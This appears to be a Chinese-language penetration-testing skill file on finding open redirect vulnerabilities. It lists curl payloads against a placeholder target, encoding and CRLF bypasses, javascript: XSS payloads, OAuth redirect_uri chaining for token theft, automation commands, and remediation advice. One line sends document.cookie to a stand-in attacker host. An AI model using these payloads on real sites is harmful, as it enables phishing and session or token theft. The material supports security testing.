| name | testing-for-open-redirect-vulnerabilities |
| description | 通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试开放重定向漏洞(Testing for Open Redirect Vulnerabilities)
适用场景
- 测试将用户重定向到指定 URL 的登录/登出流程
- 评估带有 redirect_uri 参数的 OAuth 授权端点
- 审计包含 URL 参数的应用程序(next、url、redirect、return、goto、target)
- 在网络钓鱼模拟中链接开放重定向与凭据收集
- 测试 SSO 实现中的重定向验证弱点
前置条件
- Burp Suite 或 OWASP ZAP(用于拦截重定向请求)
- 收集开放重定向绕过 Payload
- 用于确认重定向的外部域名或 Burp Collaborator
- 了解 URL 解析和编码方案
- 安装了开发者工具的浏览器(用于观察重定向链)
- 熟悉 HTTP 301/302/303/307/308 重定向状态码
工作流程
步骤 1 — 识别重定向参数
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
步骤 2 — 测试基本开放重定向 Payload
curl -v "http://target.com/redirect?url=https://evil.com"
curl -v "http://target.com/redirect?url=//evil.com"
curl -v "http://target.com/redirect?url=https://target.com@evil.com"
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
步骤 3 — 应用验证绕过技术
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
步骤 4 — 测试基于路径的重定向
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
curl -v "http://target.com/redirect?url=/../../../evil.com"
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
步骤 5 — 与其他漏洞链接
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
步骤 6 — 自动化开放重定向测试
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
cat urls.txt | gf redirect | sort -u > redirect_params.txt
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
核心概念
| 概念 | 定义 |
|---|
| 未验证重定向(Unvalidated Redirect) | 应用程序在不检查目标的情况下重定向到用户提供的 URL |
| URL 解析不一致(URL Parsing Inconsistency) | 不同库对 URL 的解析方式不同,导致可被绕过 |
| 协议相对 URL(Protocol-Relative URL) | 使用 // 前缀进行重定向,同时继承当前协议 |
| 用户信息滥用(Userinfo Abuse) | 使用 @ 符号使 URL 看起来属于可信域名 |
| 开放重定向链(Open Redirect Chain) | 组合多个开放重定向,或与其他漏洞链接 |
| 基于 DOM 的重定向(DOM-Based Redirect) | 客户端 JavaScript 使用攻击者控制的输入执行重定向 |
| Meta 刷新重定向(Meta Refresh Redirect) | 使用 HTML meta 标签进行重定向,无需服务端 302 |
工具与系统
| 工具 | 用途 |
|---|
| OpenRedireX | 自动化开放重定向漏洞测试工具 |
| Burp Suite | 用于拦截和修改重定向参数的 HTTP 代理 |
| gf (tomnomnom) | 从 URL 列表中提取重定向参数的模式匹配工具 |
| nuclei | 带有开放重定向检测模板的基于模板扫描器 |
| ffuf | 用于批量测试重定向参数 Payload 的模糊测试工具 |
| OWASP ZAP | 带有开放重定向检测功能的自动化扫描器 |
常见场景
- 网络钓鱼放大 — 使用受信任域名上的开放重定向,提升针对用户的钓鱼 URL 的可信度
- OAuth Token 窃取 — 在 OAuth 流程中利用开放重定向作为 redirect_uri,窃取授权码和访问 Token
- SSO 绕过 — 将 SSO 认证响应重定向到攻击者控制的服务器,以捕获会话 Token
- 通过重定向实现 XSS — 将开放重定向与 javascript: 协议链接,实现跨站脚本攻击
- Referer 泄露 — 使用开放重定向,在重定向到外部站点时通过 Referer 头部泄露敏感 Token
输出格式
## 开放重定向评估报告
- **目标**:http://target.com
- **发现的易受攻击参数数量**:3
- **所需绕过技术**:URL 编码、用户信息滥用
### 发现
| # | 端点 | 参数 | Payload | 影响 |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | 网络钓鱼 |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token 窃取 |
| 3 | /logout | return | https://evil.com%00.target.com | 会话重定向 |
### 修复建议
- 实施允许重定向目标的白名单
- 使用严格的 URL 解析在服务端验证重定向 URL
- 拒绝包含外部域名的重定向 URL
- 使用间接引用映射代替直接 URL 参数